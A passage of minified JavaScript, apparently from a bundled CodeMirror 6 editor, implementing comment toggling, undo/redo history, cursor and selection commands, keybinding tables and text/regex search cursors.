e=[];for(let t of i.selection.ranges){let n=i.doc.lineAt(t.from),r=t.to<=n.to?n:i.doc.lineAt(t.to);r.from>n.from&&r.from==t.to&&(r=t.to==n.to+1?n:i.doc.lineAt(t.to-1));let s=e.length-1;s>=0&&e[s].to>n.from?e[s].to=r.to:e.push({from:n.from+/^\s*/.exec(n.text)[0].length,to:r.to})}return e}function wd(i,e,t=e.selection.ranges){let n=t.map(s=>fa(e,s.from).block);if(!n.every(s=>s))return null;let r=t.map((s,o)=>Sv(e,n[o],s.from,s.to));if(i!=2&&!r.every(s=>s))return{changes:e.changes(t.map((s,o)=>r[o]?[]:[{from:s.from,insert:n[o].open+" "},{from:s.to,insert:" "+n[o].close}]))};if(i!=1&&r.some(s=>s)){let s=[];for(let o=0,l;o<r.length;o++)if(l=r[o]){let a=n[o],{open:h,close:c}=l;s.push({from:h.pos-a.open.length,to:h.pos+h.margin},{from:c.pos-c.margin,to:c.pos+a.close.length})}return{changes:s}}return null}function wv(i,e,t=e.selection.ranges){let n=[],r=-1;e:for(let{from:s,to:o}of t){let l=n.length,a=1e9,h;for(let c=s;c<=o;){let f=e.doc.lineAt(c);if(h==null&&(h=fa(e,f.from).line,!h))continue e;if(f.from>r&&(s==o||o>f.from)){r=f.from;let u=/^\s*/.exec(f.text)[0].length,d=u==f.length,p=f.text.slice(u,u+h.length)==h?u:-1;u<f.text.length&&u<a&&(a=u),n.push({line:f,comment:p,token:h,indent:u,empty:d,single:!1})}c=f.to+1}if(a<1e9)for(let c=l;c<n.length;c++)n[c].indent<n[c].line.text.length&&(n[c].indent=a);n.length==l+1&&(n[l].single=!0)}if(i!=2&&n.some(s=>s.comment<0&&(!s.empty||s.single))){let s=[];for(let{line:l,token:a,indent:h,empty:c,single:f}of n)(f||!c)&&s.push({from:l.from+h,insert:a+" "});let o=e.changes(s);return{changes:o,selection:e.selection.map(o,1)}}else if(i!=1&&n.some(s=>s.comment>=0)){let s=[];for(let{line:o,comment:l,token:a}of n)if(l>=0){let h=o.from+l,c=h+a.length;o.text[c-o.from]==" "&&c++,s.push({from:h,to:c})}return{changes:s}}return null}const yl=St.define(),Ov=St.define(),Cv=T.define(),Od=T.define({combine(i){return kt(i,{minDepth:100,newGroupDelay:500,joinToEvent:(e,t)=>t},{minDepth:Math.max,newGroupDelay:Math.min,joinToEvent:(e,t)=>(n,r)=>e(n,r)||t(n,r)})}}),Cd=Ae.define({create(){return xt.empty},update(i,e){let t=e.state.facet(Od),n=e.annotation(yl);if(n){let a=_e.fromTransaction(e,n.selection),h=n.side,c=h==0?i.undone:i.done;return a?c=Gr(c,c.length,t.minDepth,a):c=Md(c,e.startState.selection),new xt(h==0?n.rest:c,h==0?c:n.rest)}let r=e.annotation(Ov);if((r=="full"||r=="before")&&(i=i.isolate()),e.annotation(ce.addToHistory)===!1)return e.changes.empty?i:i.addMapping(e.changes.desc);let s=_e.fromTransaction(e),o=e.annotation(ce.time),l=e.annotation(ce.userEvent);return s?i=i.addChanges(s,o,l,t,e):e.selection&&(i=i.addSelection(e.startState.selection,o,l,t.newGroupDelay)),(r=="full"||r=="after")&&(i=i.isolate()),i},toJSON(i){return{done:i.done.map(e=>e.toJSON()),undone:i.undone.map(e=>e.toJSON())}},fromJSON(i){return new xt(i.done.map(_e.fromJSON),i.undone.map(_e.fromJSON))}});function Av(i={}){return[Cd,Od.of(i),A.domEventHandlers({beforeinput(e,t){let n=e.inputType=="historyUndo"?Ad:e.inputType=="historyRedo"?xl:null;return n?(e.preventDefault(),n(t)):!1}})]}function Cs(i,e){return function({state:t,dispatch:n}){if(!e&&t.readOnly)return!1;let r=t.field(Cd,!1);if(!r)return!1;let s=r.pop(i,t,e);return s?(n(s),!0):!1}}const Ad=Cs(0,!1),xl=Cs(1,!1),Tv=Cs(0,!0),Mv=Cs(1,!0);class _e{constructor(e,t,n,r,s){this.changes=e,this.effects=t,this.mapped=n,this.startSelection=r,this.selectionsAfter=s}setSelAfter(e){return new _e(this.changes,this.effects,this.mapped,this.startSelection,e)}toJSON(){var e,t,n;return{changes:(e=this.changes)===null||e===void 0?void 0:e.toJSON(),mapped:(t=this.mapped)===null||t===void 0?void 0:t.toJSON(),startSelection:(n=this.startSelection)===null||n===void 0?void 0:n.toJSON(),selectionsAfter:this.selectionsAfter.map(r=>r.toJSON())}}static fromJSON(e){return new _e(e.changes&&he.fromJSON(e.changes),[],e.mapped&&vt.fromJSON(e.mapped),e.startSelection&&v.fromJSON(e.startSelection),e.selectionsAfter.map(v.fromJSON))}static fromTransaction(e,t){let n=Xe;for(let r of e.startState.facet(Cv)){let s=r(e);s.length&&(n=n.concat(s))}return!n.length&&e.changes.empty?null:new _e(e.changes.invert(e.startState.doc),n,void 0,t||e.startState.selection,Xe)}static selection(e){return new _e(void 0,Xe,void 0,void 0,e)}}function Gr(i,e,t,n){let r=e+1>t+20?e-t-1:0,s=i.slice(r,e);return s.push(n),s}function Pv(i,e){let t=[],n=!1;return i.iterChangedRanges((r,s)=>t.push(r,s)),e.iterChangedRanges((r,s,o,l)=>{for(let a=0;a<t.length;){let h=t[a++],c=t[a++];l>=h&&o<=c&&(n=!0)}}),n}function Ev(i,e){return i.ranges.length==e.ranges.length&&i.ranges.filter((t,n)=>t.empty!=e.ranges[n].empty).length===0}function Td(i,e){return i.length?e.length?i.concat(e):i:e}const Xe=[],Lv=200;function Md(i,e){if(i.length){let t=i[i.length-1],n=t.selectionsAfter.slice(Math.max(0,t.selectionsAfter.length-Lv));return n.length&&n[n.length-1].eq(e)?i:(n.push(e),Gr(i,i.length-1,1e9,t.setSelAfter(n)))}else return[_e.selection([e])]}function Dv(i){let e=i[i.length-1],t=i.slice();return t[i.length-1]=e.setSelAfter(e.selectionsAfter.slice(0,e.selectionsAfter.length-1)),t}function ao(i,e){if(!i.length)return i;let t=i.length,n=Xe;for(;t;){let r=Rv(i[t-1],e,n);if(r.changes&&!r.changes.empty||r.effects.length){let s=i.slice(0,t);return s[t-1]=r,s}else e=r.mapped,t--,n=r.selectionsAfter}return n.length?[_e.selection(n)]:Xe}function Rv(i,e,t){let n=Td(i.selectionsAfter.length?i.selectionsAfter.map(l=>l.map(e)):Xe,t);if(!i.changes)return _e.selection(n);let r=i.changes.map(e),s=e.mapDesc(i.changes,!0),o=i.mapped?i.mapped.composeDesc(s):s;return new _e(r,N.mapEffects(i.effects,e),o,i.startSelection.map(s),n)}const Iv=/^(input\.type|delete)($|\.)/;class xt{constructor(e,t,n=0,r=void 0){this.done=e,this.undone=t,this.prevTime=n,this.prevUserEvent=r}isolate(){return this.prevTime?new xt(this.done,this.undone):this}addChanges(e,t,n,r,s){let o=this.done,l=o[o.length-1];return l&&l.changes&&!l.changes.empty&&e.changes&&(!n||Iv.test(n))&&(!l.selectionsAfter.length&&t-this.prevTime<r.newGroupDelay&&r.joinToEvent(s,Pv(l.changes,e.changes))||n=="input.type.compose")?o=Gr(o,o.length-1,r.minDepth,new _e(e.changes.compose(l.changes),Td(N.mapEffects(e.effects,l.changes),l.effects),l.mapped,l.startSelection,Xe)):o=Gr(o,o.length,r.minDepth,e),new xt(o,Xe,t,n)}addSelection(e,t,n,r){let s=this.done.length?this.done[this.done.length-1].selectionsAfter:Xe;return s.length>0&&t-this.prevTime<r&&n==this.prevUserEvent&&n&&/^select($|\.)/.test(n)&&Ev(s[s.length-1],e)?this:new xt(Md(this.done,e),this.undone,t,n)}addMapping(e){return new xt(ao(this.done,e),ao(this.undone,e),this.prevTime,this.prevUserEvent)}pop(e,t,n){let r=e==0?this.done:this.undone;if(r.length==0)return null;let s=r[r.length-1],o=s.selectionsAfter[0]||(s.startSelection?s.startSelection.map(s.changes.invertedDesc,1):t.selection);if(n&&s.selectionsAfter.length)return t.update({selection:s.selectionsAfter[s.selectionsAfter.length-1],annotations:yl.of({side:e,rest:Dv(r),selection:o}),userEvent:e==0?"select.undo":"select.redo",scrollIntoView:!0});if(s.changes){let l=r.length==1?Xe:r.slice(0,r.length-1);return s.mapped&&(l=ao(l,s.mapped)),t.update({changes:s.changes,selection:s.startSelection,effects:s.effects,annotations:yl.of({side:e,rest:l,selection:o}),filter:!1,userEvent:e==0?"undo":"redo",scrollIntoView:!0})}else return null}}xt.empty=new xt(Xe,Xe);const Nv=[{key:"Mod-z",run:Ad,preventDefault:!0},{key:"Mod-y",mac:"Mod-Shift-z",run:xl,preventDefault:!0},{linux:"Ctrl-Shift-z",run:xl,preventDefault:!0},{key:"Mod-u",run:Tv,preventDefault:!0},{key:"Alt-u",mac:"Mod-Shift-u",run:Mv,preventDefault:!0}];function en(i,e){return v.create(i.ranges.map(e),i.mainIndex)}function st(i,e){return i.update({selection:e,scrollIntoView:!0,userEvent:"select"})}function ot({state:i,dispatch:e},t){let n=en(i.selection,t);return n.eq(i.selection,!0)?!1:(e(st(i,n)),!0)}function As(i,e){return v.cursor(e?i.to:i.from)}function Pd(i,e){return ot(i,t=>t.empty?i.moveByChar(t,e):As(t,e))}function Te(i){return i.textDirectionAt(i.state.selection.main.head)==J.LTR}const Ed=i=>Pd(i,!Te(i)),Ld=i=>Pd(i,Te(i));function Dd(i,e){return ot(i,t=>t.empty?i.moveByGroup(t,e):As(t,e))}const Bv=i=>Dd(i,!Te(i)),Fv=i=>Dd(i,Te(i));function _v(i,e,t){if(e.type.prop(t))return!0;let n=e.to-e.from;return n&&(n>2||/[^\s,.;:]/.test(i.sliceDoc(e.from,e.to)))||e.firstChild}function Ts(i,e,t){let n=Oe(i).resolveInner(e.head),r=t?W.closedBy:W.openedBy;for(let a=e.head;;){let h=t?n.childAfter(a):n.childBefore(a);if(!h)break;_v(i,h,r)?n=h:a=t?h.to:h.from}let s=n.type.prop(r),o,l;return s&&(o=t?yt(i,n.from,1):yt(i,n.to,-1))&&o.matched?l=t?o.end.to:o.end.from:l=t?n.to:n.from,v.cursor(l,t?-1:1)}const Wv=i=>ot(i,e=>Ts(i.state,e,!Te(i))),$v=i=>ot(i,e=>Ts(i.state,e,Te(i)));function Rd(i,e){return ot(i,t=>{if(!t.empty)return As(t,e);let n=i.moveVertically(t,e);return n.head!=t.head?n:i.moveToLineBoundary(t,e)})}const Id=i=>Rd(i,!1),Nd=i=>Rd(i,!0);function Bd(i){let e=i.scrollDOM.clientHeight<i.scrollDOM.scrollHeight-2,t=0,n=0,r;if(e){for(let s of i.state.facet(A.scrollMargins)){let o=s(i);o?.top&&(t=Math.max(o?.top,t)),o?.bottom&&(n=Math.max(o?.bottom,n))}r=i.scrollDOM.clientHeight-t-n}else r=(i.dom.ownerDocument.defaultView||window).innerHeight;return{marginTop:t,marginBottom:n,selfScroll:e,height:Math.max(i.defaultLineHeight,r-5)}}function Fd(i,e){let t=Bd(i),{state:n}=i,r=en(n.selection,o=>o.empty?i.moveVertically(o,e,t.height):As(o,e));if(r.eq(n.selection))return!1;let s;if(t.selfScroll){let o=i.coordsAtPos(n.selection.main.head),l=i.scrollDOM.getBoundingClientRect(),a=l.top+t.marginTop,h=l.bottom-t.marginBottom;o&&o.top>a&&o.bottom<h&&(s=A.scrollIntoView(r.main.head,{y:"start",yMargin:o.top-a}))}return i.dispatch(st(n,r),{effects:s}),!0}const nc=i=>Fd(i,!1),vl=i=>Fd(i,!0);function jt(i,e,t){let n=i.lineBlockAt(e.head),r=i.moveToLineBoundary(e,t);if(r.head==e.head&&r.head!=(t?n.to:n.from)&&(r=i.moveToLineBoundary(e,t,!1)),!t&&r.head==n.from&&n.length){let s=/^\s*/.exec(i.state.sliceDoc(n.from,Math.min(n.from+100,n.to)))[0].length;s&&e.head!=n.from+s&&(r=v.cursor(n.from+s))}return r}const Hv=i=>ot(i,e=>jt(i,e,!0)),Vv=i=>ot(i,e=>jt(i,e,!1)),Qv=i=>ot(i,e=>jt(i,e,!Te(i))),zv=i=>ot(i,e=>jt(i,e,Te(i))),qv=i=>ot(i,e=>v.cursor(i.lineBlockAt(e.head).from,1)),Uv=i=>ot(i,e=>v.cursor(i.lineBlockAt(e.head).to,-1));function Kv(i,e,t){let n=!1,r=en(i.selection,s=>{let o=yt(i,s.head,-1)||yt(i,s.head,1)||s.head>0&&yt(i,s.head-1,1)||s.head<i.doc.length&&yt(i,s.head+1,-1);if(!o||!o.end)return s;n=!0;let l=o.start.from==s.head?o.end.to:o.end.from;return v.cursor(l)});return n?(e(st(i,r)),!0):!1}const Xv=({state:i,dispatch:e})=>Kv(i,e);function Je(i,e){let t=en(i.state.selection,n=>{let r=e(n);return v.range(n.anchor,r.head,r.goalColumn,r.bidiLevel||void 0,r.assoc)});return t.eq(i.state.selection)?!1:(i.dispatch(st(i.state,t)),!0)}function _d(i,e){return Je(i,t=>i.moveByChar(t,e))}const Wd=i=>_d(i,!Te(i)),$d=i=>_d(i,Te(i));function Hd(i,e){return Je(i,t=>i.moveByGroup(t,e))}const jv=i=>Hd(i,!Te(i)),Yv=i=>Hd(i,Te(i)),Gv=i=>Je(i,e=>Ts(i.state,e,!Te(i))),Jv=i=>Je(i,e=>Ts(i.state,e,Te(i)));function Vd(i,e){return Je(i,t=>i.moveVertically(t,e))}const Qd=i=>Vd(i,!1),zd=i=>Vd(i,!0);function qd(i,e){return Je(i,t=>i.moveVertically(t,e,Bd(i).height))}const rc=i=>qd(i,!1),sc=i=>qd(i,!0),Zv=i=>Je(i,e=>jt(i,e,!0)),eS=i=>Je(i,e=>jt(i,e,!1)),tS=i=>Je(i,e=>jt(i,e,!Te(i))),iS=i=>Je(i,e=>jt(i,e,Te(i))),nS=i=>Je(i,e=>v.cursor(i.lineBlockAt(e.head).from)),rS=i=>Je(i,e=>v.cursor(i.lineBlockAt(e.head).to)),oc=({state:i,dispatch:e})=>(e(st(i,{anchor:0})),!0),lc=({state:i,dispatch:e})=>(e(st(i,{anchor:i.doc.length})),!0),ac=({state:i,dispatch:e})=>(e(st(i,{anchor:i.selection.main.anchor,head:0})),!0),hc=({state:i,dispatch:e})=>(e(st(i,{anchor:i.selection.main.anchor,head:i.doc.length})),!0),sS=({state:i,dispatch:e})=>(e(i.update({selection:{anchor:0,head:i.doc.length},userEvent:"select"})),!0),oS=({state:i,dispatch:e})=>{let t=Ms(i).map(({from:n,to:r})=>v.range(n,Math.min(r+1,i.doc.length)));return e(i.update({selection:v.create(t),userEvent:"select"})),!0},lS=({state:i,dispatch:e})=>{let t=en(i.selection,n=>{let r=Oe(i),s=r.resolveStack(n.from,1);if(n.empty){let o=r.resolveStack(n.from,-1);o.node.from>=s.node.from&&o.node.to<=s.node.to&&(s=o)}for(let o=s;o;o=o.next){let{node:l}=o;if((l.from<n.from&&l.to>=n.to||l.to>n.to&&l.from<=n.from)&&o.next)return v.range(l.to,l.from)}return n});return t.eq(i.selection)?!1:(e(st(i,t)),!0)};function Ud(i,e){let{state:t}=i,n=t.selection,r=t.selection.ranges.slice();for(let s of t.selection.ranges){let o=t.doc.lineAt(s.head);if(e?o.to<i.state.doc.length:o.from>0)for(let l=s;;){let a=i.moveVertically(l,e);if(a.head<o.from||a.head>o.to){r.some(h=>h.head==a.head)||r.push(a);break}else{if(a.head==l.head)break;l=a}}}return r.length==n.ranges.length?!1:(i.dispatch(st(t,v.create(r,r.length-1))),!0)}const aS=i=>Ud(i,!1),hS=i=>Ud(i,!0),cS=({state:i,dispatch:e})=>{let t=i.selection,n=null;return t.ranges.length>1?n=v.create([t.main]):t.main.empty||(n=v.create([v.cursor(t.main.head)])),n?(e(st(i,n)),!0):!1};function qn(i,e){if(i.state.readOnly)return!1;let t="delete.selection",{state:n}=i,r=n.changeByRange(s=>{let{from:o,to:l}=s;if(o==l){let a=e(s);a<o?(t="delete.backward",a=dr(i,a,!1)):a>o&&(t="delete.forward",a=dr(i,a,!0)),o=Math.min(o,a),l=Math.max(l,a)}else o=dr(i,o,!1),l=dr(i,l,!0);return o==l?{range:s}:{changes:{from:o,to:l},range:v.cursor(o,o<s.head?-1:1)}});return r.changes.empty?!1:(i.dispatch(n.update(r,{scrollIntoView:!0,userEvent:t,effects:t=="delete.selection"?A.announce.of(n.phrase("Selection deleted")):void 0})),!0)}function dr(i,e,t){if(i instanceof A)for(let n of i.state.facet(A.atomicRanges).map(r=>r(i)))n.between(e,e,(r,s)=>{r<e&&s>e&&(e=t?s:r)});return e}const Kd=(i,e,t)=>qn(i,n=>{let r=n.from,{state:s}=i,o=s.doc.lineAt(r),l,a;if(t&&!e&&r>o.from&&r<o.from+200&&!/[^ \t]/.test(l=o.text.slice(0,r-o.from))){if(l[l.length-1]=="	")return r-1;let h=Ji(l,s.tabSize),c=h%Xr(s)||Xr(s);for(let f=0;f<c&&l[l.length-1-f]==" ";f++)r--;a=r}else a=pe(o.text,r-o.from,e,e)+o.from,a==r&&o.number!=(e?s.doc.lines:1)?a+=e?1:-1:!e&&/[\ufe00-\ufe0f]/.test(o.text.slice(a-o.from,r-o.from))&&(a=pe(o.text,a-o.from,!1,!1)+o.from);return a}),Sl=i=>Kd(i,!1,!0),Xd=i=>Kd(i,!0,!1),jd=(i,e)=>qn(i,t=>{let n=t.head,{state:r}=i,s=r.doc.lineAt(n),o=r.charCategorizer(n);for(let l=null;;){if(n==(e?s.to:s.from)){n==t.head&&s.number!=(e?r.doc.lines:1)&&(n+=e?1:-1);break}let a=pe(s.text,n-s.from,e)+s.from,h=s.text.slice(Math.min(n,a)-s.from,Math.max(n,a)-s.from),c=o(h);if(l!=null&&c!=l)break;(h!=" "||n!=t.head)&&(l=c),n=a}return n}),Yd=i=>jd(i,!1),fS=i=>jd(i,!0),uS=i=>qn(i,e=>{let t=i.lineBlockAt(e.head).to;return e.head<t?t:Math.min(i.state.doc.length,e.head+1)}),dS=i=>qn(i,e=>{let t=i.moveToLineBoundary(e,!1).head;return e.head>t?t:Math.max(0,e.head-1)}),pS=i=>qn(i,e=>{let t=i.moveToLineBoundary(e,!0).head;return e.head<t?t:Math.min(i.state.doc.length,e.head+1)}),gS=({state:i,dispatch:e})=>{if(i.readOnly)return!1;let t=i.changeByRange(n=>({changes:{from:n.from,to:n.to,insert:z.of(["",""])},range:v.cursor(n.from)}));return e(i.update(t,{scrollIntoView:!0,userEvent:"input"})),!0},mS=({state:i,dispatch:e})=>{if(i.readOnly)return!1;let t=i.changeByRange(n=>{if(!n.empty||n.from==0||n.from==i.doc.length)return{range:n};let r=n.from,s=i.doc.lineAt(r),o=r==s.from?r-1:pe(s.text,r-s.from,!1)+s.from,l=r==s.to?r+1:pe(s.text,r-s.from,!0)+s.from;return{changes:{from:o,to:l,insert:i.doc.slice(r,l).append(i.doc.slice(o,r))},range:v.cursor(l)}});return t.changes.empty?!1:(e(i.update(t,{scrollIntoView:!0,userEvent:"move.character"})),!0)};function Ms(i){let e=[],t=-1;for(let n of i.selection.ranges){let r=i.doc.lineAt(n.from),s=i.doc.lineAt(n.to);if(!n.empty&&n.to==s.from&&(s=i.doc.lineAt(n.to-1)),t>=r.number){let o=e[e.length-1];o.to=s.to,o.ranges.push(n)}else e.push({from:r.from,to:s.to,ranges:[n]});t=s.number+1}return e}function Gd(i,e,t){if(i.readOnly)return!1;let n=[],r=[];for(let s of Ms(i)){if(t?s.to==i.doc.length:s.from==0)continue;let o=i.doc.lineAt(t?s.to+1:s.from-1),l=o.length+1;if(t){n.push({from:s.to,to:o.to},{from:s.from,insert:o.text+i.lineBreak});for(let a of s.ranges)r.push(v.range(Math.min(i.doc.length,a.anchor+l),Math.min(i.doc.length,a.head+l)))}else{n.push({from:o.from,to:s.from},{from:s.to,insert:i.lineBreak+o.text});for(let a of s.ranges)r.push(v.range(a.anchor-l,a.head-l))}}return n.length?(e(i.update({changes:n,scrollIntoView:!0,selection:v.create(r,i.selection.mainIndex),userEvent:"move.line"})),!0):!1}const bS=({state:i,dispatch:e})=>Gd(i,e,!1),yS=({state:i,dispatch:e})=>Gd(i,e,!0);function Jd(i,e,t){if(i.readOnly)return!1;let n=[];for(let s of Ms(i))t?n.push({from:s.from,insert:i.doc.slice(s.from,s.to)+i.lineBreak}):n.push({from:s.to,insert:i.lineBreak+i.doc.slice(s.from,s.to)});let r=i.changes(n);return e(i.update({changes:r,selection:i.selection.map(r,t?1:-1),scrollIntoView:!0,userEvent:"input.copyline"})),!0}const xS=({state:i,dispatch:e})=>Jd(i,e,!1),vS=({state:i,dispatch:e})=>Jd(i,e,!0),SS=i=>{if(i.state.readOnly)return!1;let{state:e}=i,t=e.changes(Ms(e).map(({from:r,to:s})=>(r>0?r--:s<e.doc.length&&s++,{from:r,to:s}))),n=en(e.selection,r=>{let s;if(i.lineWrapping){let o=i.lineBlockAt(r.head),l=i.coordsAtPos(r.head,r.assoc||1);l&&(s=o.bottom+i.documentTop-l.bottom+i.defaultLineHeight/2)}return i.moveVertically(r,!0,s)}).map(t);return i.dispatch({changes:t,selection:n,scrollIntoView:!0,userEvent:"delete.line"}),!0};function kS(i,e){if(/\(\)|\[\]|\{\}/.test(i.sliceDoc(e-1,e+1)))return{from:e,to:e};let t=Oe(i).resolveInner(e),n=t.childBefore(e),r=t.childAfter(e),s;return n&&r&&n.to<=e&&r.from>=e&&(s=n.type.prop(W.closedBy))&&s.indexOf(r.name)>-1&&i.doc.lineAt(n.to).from==i.doc.lineAt(r.from).from&&!/\S/.test(i.sliceDoc(n.to,r.from))?{from:n.to,to:r.from}:null}const cc=Zd(!1),wS=Zd(!0);function Zd(i){return({state:e,dispatch:t})=>{if(e.readOnly)return!1;let n=e.changeByRange(r=>{let{from:s,to:o}=r,l=e.doc.lineAt(s),a=!i&&s==o&&kS(e,s);i&&(s=o=(o<=l.to?l:e.doc.lineAt(o)).to);let h=new ws(e,{simulateBreak:s,simulateDoubleBreak:!!a}),c=la(h,s);for(c==null&&(c=Ji(/^\s*/.exec(e.doc.lineAt(s).text)[0],e.tabSize));o<l.to&&/\s/.test(l.text[o-l.from]);)o++;a?{from:s,to:o}=a:s>l.from&&s<l.from+100&&!/\S/.test(l.text.slice(0,s))&&(s=l.from);let f=["",In(e,c)];return a&&f.push(In(e,h.lineIndent(l.from,-1))),{changes:{from:s,to:o,insert:z.of(f)},range:v.cursor(s+1+f[1].length)}});return t(e.update(n,{scrollIntoView:!0,userEvent:"input"})),!0}}function ua(i,e){let t=-1;return i.changeByRange(n=>{let r=[];for(let o=n.from;o<=n.to;){let l=i.doc.lineAt(o);l.number>t&&(n.empty||n.to>l.from)&&(e(l,r,n),t=l.number),o=l.to+1}let s=i.changes(r);return{changes:r,range:v.range(s.mapPos(n.anchor,1),s.mapPos(n.head,1))}})}const OS=({state:i,dispatch:e})=>{if(i.readOnly)return!1;let t=Object.create(null),n=new ws(i,{overrideIndentation:s=>{let o=t[s];return o??-1}}),r=ua(i,(s,o,l)=>{let a=la(n,s.from);if(a==null)return;/\S/.test(s.text)||(a=0);let h=/^\s*/.exec(s.text)[0],c=In(i,a);(h!=c||l.from<s.from+h.length)&&(t[s.from]=a,o.push({from:s.from,to:s.from+h.length,insert:c}))});return r.changes.empty||e(i.update(r,{userEvent:"indent"})),!0},ep=({state:i,dispatch:e})=>i.readOnly?!1:(e(i.update(ua(i,(t,n)=>{n.push({from:t.from,insert:i.facet(ks)})}),{userEvent:"input.indent"})),!0),tp=({state:i,dispatch:e})=>i.readOnly?!1:(e(i.update(ua(i,(t,n)=>{let r=/^\s*/.exec(t.text)[0];if(!r)return;let s=Ji(r,i.tabSize),o=0,l=In(i,Math.max(0,s-Xr(i)));for(;o<r.length&&o<l.length&&r.charCodeAt(o)==l.charCodeAt(o);)o++;n.push({from:t.from+o,to:t.from+r.length,insert:l.slice(o)})}),{userEvent:"delete.dedent"})),!0),CS=i=>(i.setTabFocusMode(),!0),AS=[{key:"Ctrl-b",run:Ed,shift:Wd,preventDefault:!0},{key:"Ctrl-f",run:Ld,shift:$d},{key:"Ctrl-p",run:Id,shift:Qd},{key:"Ctrl-n",run:Nd,shift:zd},{key:"Ctrl-a",run:qv,shift:nS},{key:"Ctrl-e",run:Uv,shift:rS},{key:"Ctrl-d",run:Xd},{key:"Ctrl-h",run:Sl},{key:"Ctrl-k",run:uS},{key:"Ctrl-Alt-h",run:Yd},{key:"Ctrl-o",run:gS},{key:"Ctrl-t",run:mS},{key:"Ctrl-v",run:vl}],TS=[{key:"ArrowLeft",run:Ed,shift:Wd,preventDefault:!0},{key:"Mod-ArrowLeft",mac:"Alt-ArrowLeft",run:Bv,shift:jv,preventDefault:!0},{mac:"Cmd-ArrowLeft",run:Qv,shift:tS,preventDefault:!0},{key:"ArrowRight",run:Ld,shift:$d,preventDefault:!0},{key:"Mod-ArrowRight",mac:"Alt-ArrowRight",run:Fv,shift:Yv,preventDefault:!0},{mac:"Cmd-ArrowRight",run:zv,shift:iS,preventDefault:!0},{key:"ArrowUp",run:Id,shift:Qd,preventDefault:!0},{mac:"Cmd-ArrowUp",run:oc,shift:ac},{mac:"Ctrl-ArrowUp",run:nc,shift:rc},{key:"ArrowDown",run:Nd,shift:zd,preventDefault:!0},{mac:"Cmd-ArrowDown",run:lc,shift:hc},{mac:"Ctrl-ArrowDown",run:vl,shift:sc},{key:"PageUp",run:nc,shift:rc},{key:"PageDown",run:vl,shift:sc},{key:"Home",run:Vv,shift:eS,preventDefault:!0},{key:"Mod-Home",run:oc,shift:ac},{key:"End",run:Hv,shift:Zv,preventDefault:!0},{key:"Mod-End",run:lc,shift:hc},{key:"Enter",run:cc,shift:cc},{key:"Mod-a",run:sS},{key:"Backspace",run:Sl,shift:Sl,preventDefault:!0},{key:"Delete",run:Xd,preventDefault:!0},{key:"Mod-Backspace",mac:"Alt-Backspace",run:Yd,preventDefault:!0},{key:"Mod-Delete",mac:"Alt-Delete",run:fS,preventDefault:!0},{mac:"Mod-Backspace",run:dS,preventDefault:!0},{mac:"Mod-Delete",run:pS,preventDefault:!0}].concat(AS.map(i=>({mac:i.key,run:i.run,shift:i.shift}))),MS=[{key:"Alt-ArrowLeft",mac:"Ctrl-ArrowLeft",run:Wv,shift:Gv},{key:"Alt-ArrowRight",mac:"Ctrl-ArrowRight",run:$v,shift:Jv},{key:"Alt-ArrowUp",run:bS},{key:"Shift-Alt-ArrowUp",run:xS},{key:"Alt-ArrowDown",run:yS},{key:"Shift-Alt-ArrowDown",run:vS},{key:"Mod-Alt-ArrowUp",run:aS},{key:"Mod-Alt-ArrowDown",run:hS},{key:"Escape",run:cS},{key:"Mod-Enter",run:wS},{key:"Alt-l",mac:"Ctrl-l",run:oS},{key:"Mod-i",run:lS,preventDefault:!0},{key:"Mod-[",run:tp},{key:"Mod-]",run:ep},{key:"Mod-Alt-\\",run:OS},{key:"Shift-Mod-k",run:SS},{key:"Shift-Mod-\\",run:Xv},{key:"Mod-/",run:bv},{key:"Alt-A",run:xv},{key:"Ctrl-m",mac:"Shift-Alt-m",run:CS}].concat(TS),PS={key:"Tab",run:ep,shift:tp},fc=typeof String.prototype.normalize=="function"?i=>i.normalize("NFKD"):i=>i;class Xi{constructor(e,t,n=0,r=e.length,s,o){this.test=o,this.value={from:0,to:0,precise:!1},this.done=!1,this.matches=[],this.buffer="",this.bufferPos=0,this.iter=e.iterRange(n,r),this.bufferStart=n,this.normalize=s?l=>s(fc(l)):fc,this.query=this.normalize(t)}peek(){if(this.bufferPos==this.buffer.length){if(this.bufferStart+=this.buffer.length,this.iter.next(),this.iter.done)return-1;this.bufferPos=0,this.buffer=this.iter.value}return Ie(this.buffer,this.bufferPos)}next(){for(;this.matches.length;)this.matches.pop();return this.nextOverlapping()}nextOverlapping(){for(;;){let e=this.peek();if(e<0)return this.done=!0,this;let t=_l(e),n=this.bufferStart+this.bufferPos;this.bufferPos+=pt(e);let r=this.normalize(t);if(r.length)for(let s=0,o=n,l=!0;;s++){let a=r.charCodeAt(s),h=this.match(a,o,l,this.bufferPos+this.bufferStart,s==r.length-1);if(h)return this.value=h,this;if(s==r.length-1)break;l&&s<t.length&&t.charCodeAt(s)==a?o++:l=!1}}}match(e,t,n,r,s){let o=null;for(let l=0;l<this.matches.length;){let a=this.matches[l],h=!1;this.query.charCodeAt(a.index)==e&&(a.index==this.query.length-1?o={from:a.from,to:r,precise:s&&a.precise}:(a.index++,h=!0)),h?l++:this.matches.splice(l,1)}return this.query.charCodeAt(0)==e&&(this.query.length==1?o={from:t,to:r,precise:n&&s}:this.matches.push({from:t,index:1,precise:n})),o&&this.test&&!this.test(o.from,o.to,this.buffer,this.bufferStart)&&(o=null),o}}typeof Symbol<"u"&&(Xi.prototype[Symbol.iterator]=function(){return this});const ip={from:-1,to:-1,match:/.*/.exec(""),precise:!0},da="gm"+(/x/.unicode==null?"":"u");class np{constructor(e,t,n,r=0,s=e.length){if(this.text=e,this.to=s,this.curLine="",this.done=!1,this.value=ip,/\\[sWDnr]|\n|\r|\[\^/.test(t))return new rp(e,t,n,r,s);this.re=new RegExp(t,da+(n?.ignoreCase?"i":"")),this.test=n?.test,this.iter=e.iter();let o=e.lineAt(r);this.curLineStart=o.from,this.matchPos=Jr(e,r),this.getLine(this.curLineStart)}getLine(e){this.iter.next(e),this.iter.lineBreak?this.curLine="":(this.curLine=this.iter.value,this.curLineStart+this.curLine.length>this.to&&(this.curLine=this.curLine.slice(0,this.to-this.curLineStart)),this.iter.next())}nextLine(){this.curLineStart=this.curLineStart+this.curLine.length+1,this.curLineStart>this.to?this.curLine="":this.getLine(0)}next(){for(let e=this.matchPos-this.curLineStart;;){this.re.lastIndex=e;let t=this.matchPos<=this.to&&this.re.exec(this.curLine);if(t){let n=this.curLineStart+t.index,r=n+t[0].length;if(this.matchPos=Jr(this.text,r+(n==r?1:0)),n==this.curLineStart+this.curLine.length&&this.nextLine(),(n<r||n>this.value.to)&&(!this.test||this.test(n,r,t)))return this.value={from:n,to:r,precise:!0,match:t},this;e=this.matchPos-this.curLineStart}else 